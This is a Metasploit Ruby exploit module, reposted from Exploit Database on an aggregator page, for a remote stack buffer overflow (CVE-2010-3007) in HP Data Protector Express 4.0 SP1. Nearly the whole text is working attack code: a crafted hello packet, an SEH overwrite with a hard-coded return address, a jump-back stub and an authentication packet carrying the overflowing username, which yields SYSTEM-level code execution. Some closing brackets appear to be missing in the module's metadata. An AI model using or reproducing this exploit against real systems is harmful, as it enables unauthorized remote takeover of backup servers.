HP Data Protector – DtbClsLogin Buffer Overflow (Metasploit)

Exploit Database
136 阅读

作者： Metasploit

日期： 2012-12-11
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/23290/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'HP Data Protector DtbClsLogin Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in HP Data Protector 4.0 SP1. The

overflow occurs during the login process, in the DtbClsLogin function provided by

the dpwindtb.dll component, where the Utf8Cpy (strcpy like function) is used in an

insecure way with the username. A successful exploitation will lead to code execution

with the privileges of the "dpwinsdr.exe" (HP Data Protector Express Domain Server

Service) process, which runs as SYSTEM by default.

'Author' =>

[

'AbdulAziz Hariri', # Vulnerability discovery

'juan vazquez' # Metasploit module

'References' =>

[

[ 'CVE', '2010-3007' ],

[ 'OSVDB', '67973' ],

[ 'BID', '43105' ],

[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-174/' ],

[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02498535' ]

'Payload'=>

{

'Space' => 712,

'BadChars' => "\x00",

'DisableNops' => true

'Platform' => 'win',

'Targets'=>

[

['HP Data Protector Express 4.0 SP1 (build 43064) / Windows XP SP3',

{

'Ret' => 0x66dd3e49, # ppr from ifsutil.dll (stable over windows updates on June 26, 2012)

'Offset' => 712

}

]

'DefaultTarget' => 0,

'Privileged' => true,

'DisclosureDate' => 'Sep 09 2010'

))

register_options(

[

Opt::RPORT(3817),

], self.class)

end

def check

connect

machine_name = rand_text_alpha(15)

print_status("#{sock.peerinfo} - Sending Hello Request")

hello ="\x54\x84\x00\x00\x00\x00\x00\x00" << "\x00\x01\x00\x00\x92\x00\x00\x00"

hello << "\x3a\x53\xa5\x71\x02\x40\x80\x00" << "\x89\xff\xb5\x00\x9b\xe8\x9a\x00"

hello << "\x01\x00\x00\x00\xc0\xa8\x01\x86" << "\x00\x00\x00\x00\x00\x00\x00\x00"

hello << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"

hello << "\x00\x00\x00\x00\x01\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"

hello << "\x00\x00\x00\x00"

hello << machine_name << "\x00"

hello << "\x5b\x2e\xad\x71\xb0\x02\x00\x00" << "\xff\xff\x00\x00\x06\x10\x00\x44"

hello << "\x74\x62\x3a\x20\x43\x6f\x6e\x74" << "\x65\x78\x74\x00\xe8\xc1\x08\x10"

hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa"

sock.put(hello)

hello_response = sock.get

disconnect

if hello_response and hello_response =~ /Dtb: Context/

return Exploit::CheckCode::Detected

end

return Exploit::CheckCode::Safe

end

def exploit

connect

machine_name = rand_text_alpha(15)

print_status("#{sock.peerinfo} - Sending Hello Request")

hello ="\x54\x84\x00\x00\x00\x00\x00\x00" << "\x00\x01\x00\x00\x92\x00\x00\x00"

hello << "\x3a\x53\xa5\x71\x02\x40\x80\x00" << "\x89\xff\xb5\x00\x9b\xe8\x9a\x00"

hello << "\x01\x00\x00\x00\xc0\xa8\x01\x86" << "\x00\x00\x00\x00\x00\x00\x00\x00"

hello << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"

hello << "\x00\x00\x00\x00\x01\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"

hello << "\x00\x00\x00\x00"

hello << machine_name << "\x00"

hello << "\x5b\x2e\xad\x71\xb0\x02\x00\x00" << "\xff\xff\x00\x00\x06\x10\x00\x44"

hello << "\x74\x62\x3a\x20\x43\x6f\x6e\x74" << "\x65\x78\x74\x00\xe8\xc1\x08\x10"

hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa"

sock.put(hello)

hello_response = sock.get

if not hello_response or hello_response.empty?

print_error("#{sock.peerinfo} - The Hello Request hasn't received a response")

return

end

bof = payload.encoded

bof << rand_text(target['Offset']-bof.length)

bof << generate_seh_record(target.ret)

bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']+8}").encode_string

# The line below is used to trigger exception, don't go confused because of the big space,

# there are only some available bytes until the end of the stack, it allows to assure exception

# when there are mappings for dynamic memory after the stack, so to assure reliability it's better

# to jump back.

bof << rand_text(100000)

header =[0x8451].pack("V") # packet id

header << [0x32020202].pack("V") # svc id

header << [0x00000018].pack("V") # cmd id

header << [0].pack("V") # pkt length, calculated after pkt has been built

header << "\x00\x00\x00\x00" # ?Unknown?

pkt_auth = header

pkt_auth << bof # username

pkt_auth[12, 4] = [pkt_auth.length].pack("V")

print_status("#{sock.peerinfo} - Sending Authentication Request")

sock.put(pkt_auth)

disconnect

end